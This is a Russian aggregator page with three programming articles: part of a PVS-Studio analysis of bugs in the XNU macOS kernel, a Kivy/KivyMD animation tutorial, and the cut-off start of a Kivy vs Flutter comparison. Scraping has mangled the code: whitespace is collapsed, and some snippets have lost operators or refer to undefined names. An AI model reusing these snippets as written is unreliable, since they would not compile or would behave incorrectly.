Предупреждение PVS-Studio: V1064 The 'gPEClockFrequencyInfo.bus_clock_rate_hz' operand of integer division is less than the 'gPEClockFrequencyInfo.dec_clock_rate_hz' one. The result will always be zero. pe_identify_machine.c 72


Все используемые здесь поля имеют целочисленный тип:


extern clock_frequency_info_t gPEClockFrequencyInfo;struct clock_frequency_info_t {  unsigned long bus_clock_rate_hz;  unsigned long dec_clock_rate_hz;  unsigned long bus_to_dec_rate_den;  unsigned long long bus_frequency_hz;  unsigned long timebase_frequency_hz;  ....};

Через промежуточные присвоения полю gPEClockFrequencyInfo.bus_clock_rate_hz, являющемуся делимым, присваивается значение 100000000, а полю-делителю gPEClockFrequencyInfo.dec_clock_rate_hz присваивается значение 1000000000. Делитель в этом случае в десять раз больше делимого. Так как все поля здесь являются целочисленными, поле gPEClockFrequencyInfo.bus_to_dec_rate_den окажется равным 0.


Судя по наименованию результирующего поля bus_to_dec_rate_den, делитель и делимое были перепутаны местами. Я допускаю возможность, что код был написан с расчётом на то, что исходные значения изменятся и результат уже не будет равен 0. Но этот код всё равно кажется мне очень подозрительным.


Фрагмент N2


voidsdt_early_init( void ){  ....  if (MH_MAGIC_KERNEL != _mh_execute_header.magic) {  ....  } else {    ....    for (....) {    const char *funcname;    unsigned long best;                           //<=    ....    funcname = "<unknown>";    for (i = 0; i < orig_st->nsyms; i++) {      char *jname = strings + sym[i].n_un.n_strx;      ....      if ((unsigned long)sym[i].n_value > best) { //<=        best = (unsigned long)sym[i].n_value;        funcname = jname;      }    }    .....  }}

Предупреждение PVS-Studio: V614 Uninitialized variable 'best' used. sdt.c 572


Насколько я поняла, этот метод ищет название некоей функции. В алгоритме используется переменная best, возможно, это положение наилучшего кандидата на результат. Однако изначально эта переменная только объявляется без инициализации. Следующее же использование сверяет значение некоего элемента с переменной best, которая будет неинициализированной на тот момент. Еще страннее, что она инициализируется только внутри условия, в котором используется её же значение.


Неинициализированные переменные могут приводить к непредсказуемым результатам. И, хотя эта ошибка может показаться достаточно банальной, она всё ещё часто встречается при проверках разных проектов с помощью PVS-Studio. Например, совсем недавно мой коллега Андрей описывал интересный случай такой ошибки.


Фрагмент N3


intcdevsw_isfree(int index){  struct cdevsw * devsw;  if (index < 0) {    if (index == -1) {      index = 0;    } else {      index = -index;     }    devsw = &cdevsw[index];    for (; index < nchrdev; index++, devsw++) {      if (memcmp(....) == 0) {        break;      }    }  }  if (index < 0 || index >= nchrdev) {    return -1;  }  ....  return index;}

Предупреждение PVS-Studio: V560 A part of conditional expression is always false: index < 0. bsd_stubs.c:236


Небольшой пример того, что анализатор отслеживает возможные значения переменных. В начале функции переменная index сравнивается с нулём. Если она меньше него, то во внутреннем блоке ей будет присвоено значение не меньше нуля. А следующий внешний if снова проверяет, имеет ли index значение меньше нуля, но это невозможно.


Логики программы этот момент не меняет, но есть вероятность, что подразумевалось какое-то иное условие. Ну и в любом случае лишние проверки не делают код читабельнее и понятнее.


Фрагмент N4


intnfs_vinvalbuf_internal(....){  struct nfsbuf *bp;  ....  off_t end = ....;  /* check for any dirty data before the EOF */  if ((bp->nb_dirtyend > 0) && (bp->nb_dirtyoff < end))  {    /* clip dirty range to EOF */    if (bp->nb_dirtyend > end)    {      bp->nb_dirtyend = end;      if (bp->nb_dirtyoff >= bp->nb_dirtyend)             //<=      {        bp->nb_dirtyoff = bp->nb_dirtyend = 0;      }    }    if ((bp->nb_dirtyend > 0) && (bp->nb_dirtyoff < end)) //<=    {      ....    }  }  ....}

Предупреждения PVS-Studio:


  • V547 Expression 'bp->nb_dirtyoff >= bp->nb_dirtyend' is always false. nfs_bio.c 3858
  • V560 A part of conditional expression is always true: (bp->nb_dirtyoff < end). nfs_bio.c 3862

В случае этого фрагмента к анализатору точно стоит прислушаться и попытаться упростить код. Учтите, что тут он хотя бы приведён с сокращениями.


Начнём с первого предупреждения. Анализатор решил, что nb_dirtyoff не может быть больше или равен nb_dirtyend. Разберёмся почему. Перед подозрительной проверкой есть ещё два if с проверками (bp->nb_dirtyend > 0) && (bp->nb_dirtyoff < end) и bp->nb_dirtyend > end. А также осуществляется присвоение bp->nb_dirtyend = end.


Почему же третья проверка bp->nb_dirtyoff >= bp->nb_dirtyend будет всегда false?


0818_XNU_MacOS_Kernel_ru/image9.png


Всё просто. Из условий выходит, что nb_dirtyoff меньше, чем end, а nb_dirtyend равно end. В итоге nb_dirtyend точно больше, чем nb_dirtyoff. Присвоение bp->nb_dirtyoff = bp->nb_dirtyend = 0 никогда не будет выполнено.


В итоге вот такой участок кода:


if ((bp->nb_dirtyend > 0) && (bp->nb_dirtyoff < end)) {  /* clip dirty range to EOF */  if (bp->nb_dirtyend > end) {    bp->nb_dirtyend = end;    if (bp->nb_dirtyoff >= bp->nb_dirtyend) {  //<=      bp->nb_dirtyoff = bp->nb_dirtyend = 0;    }  }}

Можно упростить хотя бы до такого:


if ((bp->nb_dirtyend > 0) && (bp->nb_dirtyoff < end)) {  if (bp->nb_dirtyend > end) {    bp->nb_dirtyend = end;  }}

Но только если в настоящий момент этот алгоритм работает корректно.


Второе предупреждение указывает на четвёртый if, вложенный в первый.


if ((bp->nb_dirtyend > 0) && (bp->nb_dirtyoff < end))

Здесь анализатор выдаёт предупреждение на основании того, что присвоение нуля никогда не будет выполнено. В итоге во внешнем условии уже была проверка bp->nb_dirtyoff < end и внутренняя проверка из-за ошибки в условии выше становится бессмысленной.


Фрагмент N5


tcp_output(struct tcpcb *tp){  ....  if (isipv6) {    ....    if (len + optlen) {      ....    }  } else {    ....    if (len + optlen) {      ....    }  }  ....}

Предупреждение PVS-Studio: V793 It is odd that the result of the 'len + optlen' statement is a part of the condition. Perhaps, this statement should have been compared with something else.


Это достаточно простой недочёт. В условии вместо логического выражения просто складываются две переменные. В итоге выражение будет ложным, только если сумма окажется равной нулю. Если это и подразумевалось, то, возможно, стоит сделать сравнение с 0 явным, чтобы вопроса о правильности условия точно не возникало.


Конечно, может быть, что так и задумано, но чуть выше в коде есть вот такая проверка:


if (len + optlen + ipoptlen > tp->t_maxopd) {  ....}

Это наводит на мысль, что, скорее всего, в двух if'ах, на которые указал анализатор, также должно было проводиться сравнение.


Ещё замечу, что эта функция, сокращённая тут до 16 строк, занимает в оригинале 2268 строк! Ещё один возможный повод для рефакторинга ;)


Второе предупреждение на этот же участок:


V793 It is odd that the result of the 'len + optlen' statement is a part of the condition. Perhaps, this statement should have been compared with something else.


Фрагмент N6


intttyinput(int c, struct tty *tp){  ....  if (tp->t_rawq.c_cc + tp->t_canq.c_cc) {  ....}

Предупреждение PVS-Studio: V793 It is odd that the result of the 'tp->t_rawq.c_cc + tp->t_canq.c_cc' statement is a part of the condition. Perhaps, this statement should have been compared with something else. tty.c 568


Аналогичный случай. Тут повыше в коде снова есть проверка, которая не просто использует сумму, а сравнивает результат с другой переменной:


if (   tp->t_rawq.c_cc + tp->t_canq.c_cc > I_HIGH_WATER  3 // <=    && ....) {  ....}

В упрощённом коде условие, на которое указал анализатор, выглядит заметно. Но в оригинале оно было вложено в несколько if. Так что при код-ревью такое можно и пропустить, а анализатор не пропустит ;)


Фрагмент N7


errno_tmbuf_adjustlen(mbuf_t m, int amount){  /* Verify m_len will be valid after adding amount */  if (amount > 0) {    int used =  (size_t)mbuf_data(m)              - (size_t)mbuf_datastart(m)              + m->m_len;    if ((size_t)(amount + used) > mbuf_maxlen(m)) {      ....    }  ....  return 0;}

Предупреждение PVS-Studio: V1028 Possible overflow. Consider casting operands of the 'amount + used' operator to the 'size_t' type, not the result. kpi_mbuf.c


Снова ошибка в условии, но уже совсем другого рода. Вместо приведения к size_t операндов сложения, чтобы результат точно поместился в числовой тип, к size_t приводится результат сложения. Если в итоге сложения возникнет переполнение, то с результатом mbuf_maxlen(m) будет сравниваться бессмысленное значение, приведённое к size_t. Раз программист всё-таки хотел защититься от переполнения, то стоит его сделать правильно:


if ((size_t)amount + used > mbuf_maxlen(m))

Таких срабатываний было несколько, стоит обратить на этот момент внимание.


  • V1028 Possible overflow. Consider casting operands, not the result. vm_compressor_pager.c 1165
  • V1028 Possible overflow. Consider casting operands, not the result. vm_compressor_pager.c 1131
  • V1028 Possible overflow. Consider casting operands, not the result. audit_worker.c 241
  • V1028 Possible overflow. Consider casting operands of the '((u_int32_t) slp * hz) + 999999' operator to the 'long' type, not the result. tty.c 2199

Фрагмент N8


intfdavail(proc_t p, int n){  ....  char *flags;  int i;  int lim;  ....  lim = (int)MIN(....);  if ((i = lim - fdp->fd_nfiles) > 0 && (n -= i) <= 0) //<=  {    return 1;  }  ....  for (....)  {    if (*fpp == NULL && !(*flags & UF_RESERVED) && --n <= 0)    {      return 1;    }  }  return 0;}

Предупреждение PVS-Studio: V1019 Compound assignment expression 'n -= i' is used inside condition. kern_descrip.c_99 3916


Этот код, на мой взгляд, является крайне сложночитаемым. Возможно, условие, на которое указал анализатор, стоит переписать в более простом виде:


i = lim - fdp->fd_nfiles;if (i > 0){  n -= i;  if(n <= 0)    return 1;}

Этот код выглядит менее эффективным, но точно является более понятным. Для быстрой проверки равнозначности эффективности этого кода можно зайти на Godbolt (Compiler Explorer), где, кстати, можно тестировать работу диагностик PVS-Studio. Анализатор легко найти среди инструментов этого сервиса.


Если не включать оптимизации, то ассемблерный код получится на пару строк больше. А вот с оптимизациями разницы уже нет никакой. Так что писать тут хитрый код нет смысла, компилятор всё сам сделает, как надо.


Но, если обратить внимание на тело этого if, новое значение n в нём не используется. То есть вполне возможно, что никакое присвоение здесь и не нужно. Тогда можно обойтись таким кодом:


i = lim - fdp->fd_nfiles;if (i > 0) {  if(n  i <= 0)    return 1;}

И, более того, исходный код может приводить к ошибке при дальнейшем использовании переменной n. Если выражение (n -= i) <= 0 окажется ложным, то далее будет использоваться уже новое значение n. Так как я не работала вплотную с исходным кодом, мне сложно сказать, какое поведение является верным.


Фрагмент N9


static errno_tvsock_put_message_listening(struct vsockpcb *pcb,                             enum vsock_operation op,                            struct vsock_address src,                             struct vsock_address dst){  switch (op)  {    case VSOCK_REQUEST:      ....      if (....)      {        vsock_pcb_safe_reset_address(pcb, dst, src);        ....      }      ....      done:        ....        break;    case VSOCK_RESET:      error = vsock_pcb_safe_reset_address(pcb, dst, src);      break;    default:      vsock_pcb_safe_reset_address(pcb, dst, src);      ....      break;  }  return error;}

Предупреждение PVS-Studio: V764 Possible incorrect order of arguments passed to 'vsock_pcb_safe_reset_address' function: 'dst' and 'src'. vsock_domain.c 549


Этот момент запросто может оказаться и не ошибкой. Но крайне подозрительно, что сигнатура вызываемой в этом фрагменте функции выглядит так:


static errno_tvsock_pcb_safe_reset_address(struct vsockpcb *pcb,                              struct vsock_address src,                              struct vsock_address dst)

При использовании этой функции в данном фрагменте последние два аргумента с аналогичными именами передаются в другом порядке.


Срабатывания на тот же фрагмент:


  • V764 Possible incorrect order of arguments passed to 'vsock_pcb_safe_reset_address' function: 'dst' and 'src'. vsock_domain.c 587
  • V764 Possible incorrect order of arguments passed to 'vsock_pcb_safe_reset_address' function: 'dst' and 'src'. vsock_domain.c 590

Фрагмент N10


intifclassq_tbr_set(struct ifclassq *ifq, ....){  struct tb_regulator *tbr;  ....  tbr = &ifq->ifcq_tbr;  ....  tbr->tbr_rate = TBR_SCALE(rate / 8) / machclk_freq;  ....  tbr->tbr_last = read_machclk();  if (   tbr->tbr_rate > 0               //<=      && (ifp->if_flags & IFF_UP))  {     ....  } else {    ....  }  ....  return 0;}

Предупреждение PVS-Studio: V1051 Consider checking for misprints. It's possible that the 'tbr->tbr_last' should be checked here. classq_subr.c 685


В проекте эта диагностика работала не лучшим образом, так как в коде постоянно над телом условия или цикла инициализировались сторонние переменные с именами, похожими на используемые в условии. Поэтому на этот раз диагностика выдала несколько явно ложных предупреждений. Но рассматриваемое нами срабатывание всё же показалось мне подозрительным, так как проверяемое поле tbr_rate не использовалось в теле условия и было инициализировано на 35 строк выше этой проверки. А вот поле tbr_last, инициализированное прямо перед этой проверкой, больше нигде не используется. Можно предположить, что проверить нужно было его вместо tbr_rate.


Фрагмент N11


voidaudit_arg_mac_string(struct kaudit_record *ar, ....){  if (ar->k_ar.ar_arg_mac_string == NULL)  {    ar->k_ar.ar_arg_mac_string = kheap_alloc(....);  }  ....  if (ar->k_ar.ar_arg_mac_string == NULL)  {    if (ar->k_ar.ar_arg_mac_string == NULL) // <=    {      return;    }  }  ....}

Предупреждение PVS-Studio: V571 Recurring check. The 'if (ar->k_ar.ar_arg_mac_string == NULL)' condition was already verified in line 245. audit_mac.c 246


Предупреждение PVS-Studio: V547 Expression 'ar->k_ar.ar_arg_mac_string == NULL' is always true. audit_mac.c 246


На этот код анализатор выдал сразу два предупреждения.


Сначала взгляд может зацепиться за то, что проверка в самом первом if и во втором совпадает. Но тут всё правильно: внутри тела первой проверки аллоцируется память, а для второй проверки есть пояснение:


/* * XXX This should be a rare event. * If kheap_alloc() returns NULL, * the system is low on kernel virtual memory. To be * consistent with the rest of audit, just return * (may need to panic if required to for audit). */

Судя по этому комментарию, во второй проверке не должно быть никакой внутренней проверки. Нужно просто выйти из метода. Так что, скорее всего, внутренняя проверка была продублирована случайно и не имеет никакого смысла.


Хотя возможен и тот вариант, что во внутренней проверке нужно было проверить какое-то другое поле. Но сюда закралась ошибка копипасты, и разработчик забыл поправить имя поля.


Фрагмент N12


intutf8_encodestr(....){  u_int16_t ucs_ch;  int swapbytes = ....;  ....  ucs_ch = swapbytes ? OSSwapInt16(*ucsp++) : *ucsp++;  ....}

Предупреждение PVS-Studio: V567 Undefined behavior. The 'ucsp' variable is modified while being used twice between sequence points. vfs_utfconv.c 298


Макросы очень коварная штука. Возможно, вы даже уже встречались с нашей статьей "Вред макросов для C++ кода". Я обычно при написании статей избегаю срабатываний на макросы. С ними всегда всё оказывается сложно без знакомства с кодовой базой проекта.


Но в случае этой ошибки всё оказалось чуть проще. Хотя, чтобы дойти до причины и развернуть цепочку макросов, пришлось прыгнуть в ту ещё кроличью нору. Собственно, цепочка эта начинается с выражения OSSwapInt16(*ucsp++).


0818_XNU_MacOS_Kernel_ru/image10.png


Потом я поняла, что есть способ попроще, и просто обратилась к .i файлу, который остался после проверки проекта. По нему строка с этим макросом развернулась следующим образом:


ucs_ch = swapbytes? ( (__uint16_t)(__builtin_constant_p(*ucsp++)   ? ((__uint16_t)(  (((__uint16_t)(*ucsp++) & 0xff00U) >> 8)                   | (((__uint16_t)(*ucsp++) & 0x00ffU) << 8)))   : _OSSwapInt16(*ucsp++))): *ucsp++;

Больше всего здесь нас интересует вот этот участок выражения:


  (((__uint16_t)(*ucsp++) & 0xff00U) >> 8)| (((__uint16_t)(*ucsp++) & 0x00ffU) << 8)

Никакой из операторов в выражении не является точкой следования. Так как точно неизвестно, какой из аргументов оператора | будет вычисляться первым, значение *uscp оказывается неопределённым.


Для диагностики V567 PVS-Studio предоставляет крайне подробную документацию. Если вам интересно, почему такой код может приводить к неопределённому поведению, документация может стать хорошим началом изучения этой проблемы.


Однако это ещё не всё! Есть очень интересный и важный момент. Готова поспорить, что человек, писавший этот код, планировал увеличить значение *ucsp только один раз. Но, на самом деле, значение увеличится дважды. Это не видно и непонятно. Макросы очень и очень опасны из-за вот таких случаев. Во многих ситуациях лучше написать обыкновенную функцию. Скорее всего, компилятор автоматически выполнит подстановку и никакого ухудшения производительности не произойдёт.


Фрагмент N13


struct pf_status pf_status;intpf_insert_state(struct pf_state *s, ....){  ....  if (....) {    s->id = htobe64(pf_status.stateid++);    ....  }  ....}

Предупреждение PVS-Studio: V567 Undefined behavior. The 'pf_status.stateid' variable is modified while being used twice between sequence points. pf.c 1440


И снова коварные макросы смешали все карты для инкремента. Рассмотрим строку с вызовом htobe64, которая оказалась подозрительной для анализатора после препроцессинга:


s->id = (__builtin_constant_p(pf_status.stateid++) ? ((__uint64_t)((((__uint64_t)(pf_status.stateid++) &0xff00000000000000ULL) >> 56) | (((__uint64_t)(pf_status.stateid++) &0x00ff000000000000ULL) >> 40) | (((__uint64_t)(pf_status.stateid++) &0x0000ff0000000000ULL) >> 24) | (((__uint64_t)(pf_status.stateid++) &0x000000ff00000000ULL) >> 8)  | (((__uint64_t)(pf_status.stateid++) &0x00000000ff000000ULL) << 8)  | (((__uint64_t)(pf_status.stateid++) &0x0000000000ff0000ULL) << 24) | (((__uint64_t)(pf_status.stateid++) &0x000000000000ff00ULL) << 40) | (((__uint64_t)(pf_status.stateid++) &0x00000000000000ffULL) << 56))) : _OSSwapInt64(pf_status.stateid++));

0818_XNU_MacOS_Kernel_ru/image11.png


Проблема собственно та же, что и в предыдущем примере. Во внутренней цепочке с операндами | и & нет точек следования. Поэтому неизвестно, какое значение примет pf_status.stateid на моменте выполнения каждой операции. Результат также неопределён.


И, опять-таки, переменная увеличивается несколько раз подряд, что является неприятным сюрпризом от макроса :).


Вот остальные срабатывания этой диагностики на этом проекте:


  • V567 Undefined behavior. The 'ip_id' variable is modified while being used twice between sequence points. ip_id.c 186
  • V567 Undefined behavior. The 'lp' variable is modified while being used twice between sequence points. nfs_boot.c 505
  • V567 Undefined behavior. The 'lp' variable is modified while being used twice between sequence points. nfs_boot.c 497
  • V567 Undefined behavior. The 'ip_id' variable is modified while being used twice between sequence points. kdp_udp.c 588
  • V567 Undefined behavior. The 'ip_id' variable is modified while being used twice between sequence points. kdp_udp.c 665
  • V567 Undefined behavior. The 'ip_id' variable is modified while being used twice between sequence points. kdp_udp.c 1543

Фрагмент N14


__private_extern__ boolean_tipsec_send_natt_keepalive(....){  ....  struct udphdr *uh = (__typeof__(uh))(void *)(  (char *)m_mtod(m)                                                + sizeof(*ip));  ....  if (....)  {    uh->uh_sport = (u_short)sav->natt_encapsulated_src_port;  } else {    uh->uh_sport = htons((u_short)esp_udp_encap_port);  }  uh->uh_sport = htons((u_short)esp_udp_encap_port);  ....}

Предупреждение PVS-Studio: V519 The 'uh->uh_sport' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 4866, 4870. ipsec.c 4870


В этом фрагменте возникла подозрительная ситуация: полю uh_sport в зависимости от определённого условия присваиваются разные значения. Однако сразу после if-else этому же полю снова присваивается значение, такое же как в ветке else. В итоге этот if-else блок теряет смысл, так как значение поля всё равно будет перезаписано.


Фрагмент N15


static kern_return_tvm_shared_region_slide_page_v3(vm_offset_t vaddr, ....){  ....  uint8_t *page_content = (uint8_t *)vaddr;  uint16_t page_entry;  ....  uint8_t* rebaseLocation = page_content;  uint64_t delta = page_entry;  do {    rebaseLocation += delta;    uint64_t value;    memcpy(&value, rebaseLocation, sizeof(value));    ....    bool isBind = (value & (1ULL << 62)) == 1;   // <=    if (isBind) {      return KERN_FAILURE;    }    ....  } while (delta != 0);  ....}

Предупреждение PVS-Studio: V547 Expression '(value & (1ULL << 62)) == 1' is always false. vm_shared_region.c 2820


Тут получилось много кода из-за использования большого числа переменных. Но интересует нас только указанная мною строка с инициализацией isBind. Разберём это выражение по шагам.


В результате побитового сдвига создаётся маска с единственной единицей в 63-ем бите. Результат побитового & с переменной value может принимать только значения 0 или 0x4000000000000000. А никакое из этих значений не равно 1. В итоге условие всегда будет ложным.


Судя по тому, что выполнение этого условия должно было привести к выходу из функции с возвратом KERN_FAILURE, возможно, как раз значение 0x4000000000000000 является тем самым исключительным случаем, после которого нужно выйти из функции. Тогда результат побитовых операций надо было сравнивать с этим числом, а не с 1. Ну, или написать так:


bool isBind = (value & (1ULL << 62)) != 0;

Фрагмент N16


intvn_path_package_check(char *path, int pathlen, ....){  char *ptr, *end;  int comp = 0;  ....  end = path + 1;  while (end < path + pathlen && *end != '\0') {    while (end < path + pathlen && *end == '/' && *end != '\0') {      end++;    }    ptr = end;    while (end < path + pathlen && *end != '/' && *end != '\0') {      end++;    }    ....  }  ....}

Предупреждение PVS-Studio: V590 Consider inspecting this expression. The expression is excessive or contains a misprint. vfs_subr.c 3589


Эта диагностика всегда указывает на излишний код. Иногда под ним скрывается более серьёзная ошибка. Но здесь это, скорее всего, просто недочёт. Предупреждение было выдано на первый внутренний while. Нет смысла проверять, что символ одновременно равен '/' и не равен '\0'. Достаточно только первой проверки, так как если *end равен '/', то он точно не может быть равен '\0'.


Следующий while содержит столько же проверок. Но из-за того, что в обоих случаях проверяется неравенство, эти проверки могут работать вместе. Возможно, сначала был написан второй while, а первый был скопирован с него с изменённой проверкой для '/'. Тогда перед нами недочёт, возникший из-за копипасты.


Заключение


В этот раз в проекте нашлось несколько меньше ошибок, чем в предыдущей статье. Весьма вероятно, что в процесс разработки XNU был внедрён статический анализ и другие инструменты контроля качества кода. Почти наверняка на проекте используется Clang Static Analyzer. Но ошибки и недочёты всё-таки нашлись. Я не стала приводить здесь некоторые срабатывания на подозрительные места, вывод по которым можно сделать только на основании большего понимания кодовой базы.


Однако даже приведённые фрагменты показывают, что такой крайне важный проект, несомненно, разрабатываемый профессионалами, нуждается в инструментах контроля качества кода.


Если вам интересно, какие ошибки может помочь найти статический анализ в целом и PVS-Studio конкретно, то можете познакомиться с нашей подборкой статей про проверку исходных проектов. Там есть проверки кода не только операционных систем, но и, например, компиляторов и других инструментов программирования, которыми вы, возможно, пользуетесь ежедневно. Например, совсем недавно вышла статья про проверку Qt6.


Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Victoria Khanieva. MacOS Kernel, Is This Apple Rotten?.

Подробнее..

Разработка мобильных приложений на Python. Создание анимаций в Kivy. Part 2

23.11.2020 08:20:36 | Автор: admin

Приветствую всех любителей и знатоков языка программирования Python!

Сегодня продолжим разбираться с темой анимаций в кроссплатформенном фреймворке для с поддержкой мультитач Kivy в связке с библиотекой компонентов Google Material Design KivyMD. В прошлой статье мы уже разбирали пример тестового приложения на Python/Kivy/KivyMD, в этой пройдемся по теме анимаций более подробно. В конце статьи я приведу ссылку на репозиторий проекта, в котором вы сможете скачать и сами пощупать, демонстрационное Kivy/KivyMD приложение. Как и предыдущая, эта статья будет содержать не маленькое количество GIF анимаций и видео, а поэтому наливайте кофе и погнали!

Kivy работает на Linux, Windows, OS X, Android, iOS и Raspberry Pi. Вы можете запустить один и тот же код на всех поддерживаемых платформах без внесения дополнительных изменений в кодовую базу. Kivy поддерживает большое количество устройств ввода, включая WM_Touch, WM_Pen, Mac OS X Trackpad и Magic Mouse, Mtdev, Linux Kernel HID, TUIO и так же как и Flutter, не задействует нативные элементы управления. Все его виджеты настраиваются. Это значит, что приложения Kivy будут выглядеть одинаково на всех платформах. Но благодаря тому, что виджеты Kivy могут быть кастомизированы как угодно, вы можете создавать свои собственные виджеты. Например, так появилась библиотека KivyMD. Прежде чем продолжить, давайте посмотрим небольшой обзор возможностей Kivy:

Демонстрационные ролики Kivy приложений






В этих роликах наглядно продемонстрировано взаимодействие Kivy приложения с пользователем с помощью жестов и анимаций. Давайте и мы создадим простейшее приложение с анимацией двух лейблов:

from kivy.animation import Animationfrom kivy.lang import Builderfrom kivymd.app import MDAppKV = """<CommonLabel@MDLabel>    opacity: 0    adaptive_height: True    halign: "center"    y: -self.heightMDScreen:    on_touch_down: app.start_animation()    CommonLabel:        id: lbl_1        font_size: "32sp"        text: "M A R S"    CommonLabel:        id: lbl_2        font_size: "12sp"        text: "Lorem ipsum dolor sit amet, consectetur adipiscing elit""""class TestAnimation(MDApp):    def build(self):        return Builder.load_string(KV)    def start_animation(self):        lbl_1 = self.root.ids.lbl_1        lbl_2 = self.root.ids.lbl_2        Animation(            opacity=1, y=lbl_1.height * 2, d=0.9, t="in_out_back"        ).start(lbl_1)        Animation(            opacity=1, y=lbl_2.height + ids.lbl_1.height, d=1, t="in_out_back"        ).start(lbl_2)TestAnimation().run()

Это уже готовое приложение. Мы будем его лишь слегка редактировать. Правило CommonLabel в KV строке аналогично созданию класса в Python коде. Сравните:


Код в Kivy Language всегда короче и читабельнее. Поэтому в Python коде у нас будет только логика. Мы создали две метки с общими свойствами, описанными в правиле CommonLabel: прозрачность (opacity), размер текстуры метки (adaptive_height), горизонтальное выравнивание (halign), положение по оси Y (y ) и дали этим меткам id-шники (lbl_1, lbl_2), чтобы иметь возможность обращаться к свойствам объектов меток и манипулировать ими из Python кода. Далее мы привязали к событию on_touch_down (сработает при прикосновении к экрану в любом месте) вызов метода start_animation, в котором будем анимировать наши две метки.

Animation


Для анимарования объектов в Kivy используется класс Animation. Использовать его очень просто: при инициализации класса Animation вы должны передать в качестве аргументов имена свойств с целевыми значениями, которые будут достигнуты в конце анимации. Например:

    def start_animation(self):        # Получаем объекты меток из KV разметки        lbl_1 = self.root.ids.lbl_1        lbl_2 = self.root.ids.lbl_2        # Анимация первой метки        Animation(            opacity=1,  # анимация прозрачности до значения 1            y=lbl_1.height * 2,  # анимация положения виджета по оси Y            d=0.9,  # время выполнения анимация            t="in_out_back"  # тип анимации        ).start(lbl_1)  # в метод start передаем объект, который нужно анимаровать        # Анимация второй метки        Animation(            opacity=1, y=lbl_2.height + lbl_1.height, d=1, t="in_out_back"        ).start(lbl_2)

На нижеследующей анимации я продемонстрировал результат простейшей анимации, которую мы создали, с разными типами анимирования:

  1. in_out_back
  2. out_elastic
  3. linear


Давайте немного усложним задачу и попробуем анимировать вращение меток на плоскости. Для этого будем использовать матричные манипуляции (PushMatrix, PopMatrix, Rotate, Translate, Scale). Добавим к общей метке инструкции canvas:

<CommonLabel@MDLabel>    angle: 180  # значение вращения    [...]    canvas.before:        PushMatrix        Rotate:            angle: self.angle            origin: self.center    canvas.after:        PopMatrix

А в Python коде в класс Animation передадим новое свойство angle для анимации:

    def start_animation(self):        lbl_1 = self.root.ids.lbl_1        lbl_2 = self.root.ids.lbl_2        Animation(angle=0, [...]).start(lbl_1)        Animation(angle=0, [...]).start(lbl_2)

Результат:

Добавим анимирование масштаба меток:

<CommonLabel@MDLabel>    scale: 5  # значение масшбирования    [...]    canvas.before:        PushMatrix        [...]        Scale:            # масштабирование по трем осям            x: self.scale            y: self.scale            z: self.scale            origin: self.center    canvas.after:        PopMatrix

В Python коде в класс Animation передадим новое свойство scale для анимации:

    def start_animation(self):        lbl_1 = self.root.ids.lbl_1        lbl_2 = self.root.ids.lbl_2        Animation(scale=1, [...]).start(lbl_1)        Animation(scale=1, [...]).start(lbl_2)

Результат:

Класс Animation имеет ряд событий для отслеживания процесса анимации: on_start, on_progress, on_complete. Рассмотрим последний. on_complete вызывается в момент завершения процесса анимации. Привяжем это событие к методу complete_animation, который мы сейчас создадим:

[...]class TestAnimation(MDApp):    [...]    def complete_animation(self, animation, animated_instance):        """        :type animation: <kivy.animation.Animation object>        :type animated_instance: <WeakProxy to <kivy.factory.CommonLabel object>>        """        # Анимируем масштаб и цвет первой метки.        Animation(scale=1.4, d=1, t="in_out_back").start(animated_instance)        Animation(color=(1, 0, 1, 1), d=1).start(animated_instance)

Привязываем событие:

    def start_animation(self):        [...]        animation = Animation(            angle=0, scale=1, opacity=1, y=lbl_1.height * 2, d=0.9, t="in_out_back"        )        animation.bind(on_complete=self.complete_animation)        animation.start(lbl_1)        [....]

Результат:

На этом пока все. Просили:

Ниже прикрепляю превью Kivy/KivyMD проекта и ссылку на репозиторий, где можно скачать APK и пощупать:

Репозиторий github.com/HeaTTheatR/Articles
APK можно найти в директории репозитория StarTest/bin
Подробнее..

Трепещущий Kivy. Обзор возможностей фреймворка Kivy и библиотеки KivyMD

12.03.2021 12:15:29 | Автор: admin

Kivy и Flutter два фреймворка с открытым исходным кодом для кроссплатформенной разработки.

Flutter:


  • создан компанией Google и выпущенный в 2017 году;

  • в качестве языка программирования использует Dart;

  • не использует нативные компоненты, рисуя весь интерфейс внутри собственного графического движка;

Kivy:


  • создан сообществом Kivy в 2010 году;

  • в качестве языка программирования использует Python и собственный декларативный язык для разметки UI элементов KV Language;

  • не использует нативные компоненты, рисуя весь интерфейс с помощью OpenGL ES 2.0 и SDL2;


Недавно на просторах Ютуба наткнулся на видео демонстрацию Flutter приложения Facebook Desktop Redesign built with Flutter Desktop. Отличное демонстрационное приложение в стиле material design! И поскольку я один из разработчиков библиотеки KivyMD (набор material компонентов для фреймворка Kivy) мне стало интересно, насколько просто будет сделать такой же красивый интерфейс. К счастью автор оставил ссылку на репозиторий проекта.






Как вы думаете, какое приложение на вышеприведенных скриншотах написано с использованием Flutter и какое с помощью Kivy? Ответить сходу трудно, поскольку ярко выраженных отличий нет. Единственное, что сразу бросается в глаза (нижний скриншот) в Kivy все еще нет нормального сглаживания. И это грустно, но не критично. Сравнивать мы будем отдельные элементы приложения и их исходный код на Dart (Flutter) и Python/KV language (Kivy).

Посмотрим теперь как выглядят компоненты изнутри

StoryCard


Kivy


Разметка карточки на языке KV-Language:


Базовый Python класс:

from kivy.properties import StringPropertyfrom kivymd.uix.relativelayout import MDRelativeLayoutclass StoryCard(MDRelativeLayout):    avatar = StringProperty()    story = StringProperty()    name = StringProperty()    def on_parent(self, *args):        if not self.avatar:            self.remove_widget(self.ids.avatar)

Flutter:


import 'package:flutter/material.dart';import 'package:flutter/widgets.dart';class Story extends StatefulWidget {  final String name;  final String avatar;  final String story;  const Story({    Key key,    this.name,    this.avatar,    this.story,  }) : super(key: key);  @override  _StoryState createState() => _StoryState();}class _StoryState extends State<Story> {  @override  Widget build(BuildContext context) {    return Container(      width: 150,      margin: const EdgeInsets.only(top: 30),      decoration: BoxDecoration(        borderRadius: BorderRadius.circular(30),        boxShadow: [          BoxShadow(            color: Colors.black.withOpacity(0.3),            blurRadius: 20,            offset: Offset(0, 10),          ),        ],      ),      child: Stack(        overflow: Overflow.visible,        fit: StackFit.expand,        children: [          ClipRRect(            borderRadius: BorderRadius.circular(30),            child: Image.network(              widget.story,              fit: BoxFit.cover,            ),          ),          if (widget.avatar != null)            Positioned.fill(              top: -30,              child: Align(                alignment: Alignment.topCenter,                child: Container(                  decoration: BoxDecoration(                    borderRadius: 